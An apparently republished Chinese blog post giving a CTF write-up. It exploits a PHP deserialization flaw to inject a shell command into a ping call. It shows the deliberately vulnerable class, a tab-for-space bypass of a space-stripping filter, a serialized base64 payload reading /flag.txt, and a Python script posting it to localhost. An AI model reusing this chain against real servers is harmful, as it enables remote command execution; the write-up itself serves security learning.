php 反序列注入,CTF中PHP反序列化和命令注入的一次简单利用

代码来自第六届防灾科技学院网络安全技能大赛,侵删。php

目标

获取Linux服务器根目录下的flagpython

代码

/*home.php*/

class home{

private $method;

private $args;

function __construct($method, $args) {

$this->method = $method;

$this->args = $args;

}

function __destruct(){

if (in_array($this->method, array("ping"))) {

call_user_func_array(array($this, $this->method), $this->args);

}

}

function ping($host){

system("ping -c 2 $host");

}

function waf($str){

$str=str_replace(' ','',$str);

return $str;

}

function __wakeup(){

foreach($this->args as $k => $v) {

$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));

}

}

}

$a=@$_POST['a'];

@unserialize(base64_decode($a));

分析

该PHP文件只接收一个base64编码的POST参数,将其解码后会进行反序列化操做。mysql

在执行__wakeup()方法以后,会触发__construct()方法进行初始化,该方法没有能够利用的地方。sql

当全部的操做执行完毕以后,须要释放序列化的对象,触发__destruct()魔术方法。该方法只容许执行类中的ping方法,并会将args的值做为ping方法host参数。shell

ping中存在可控参数$host,且调用了system函数,这里即可以做为一个利用点。能够构造一个特殊的payload:安全

ping -c 2 127.0.0.1|cat /flag.txt

#不惟一

利用

整理上面的思路可知,若想获得flag最终要构造出以下的args字符串:服务器

127.0.0.1|cat /flag.txt

而waf等方法又过滤掉了空格,这里能够经过将空格换成Tab来绕过该限制。

同时还要注意method必须为ping。网络

这里获得了构造payload的最终PHP脚本:函数

class home{

private $method;

private $args;

}

$a = new home("ping",array('127.0.0.1|cat /flag.txt'));

$b = serialize($a);

echo base64_encode($b);

payloadpost

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

发送payload获得flag

import requests

data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}

url = 'http://localhost/common/home.php'

r = requests.post(url,data=data)

print(r.text)

#result:flag{glzjin_wants_a_girl_friend}

本文分享 CNBlog - kevin_bruce。

若有侵权,请联系 support@oschina.cn 删除。

本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值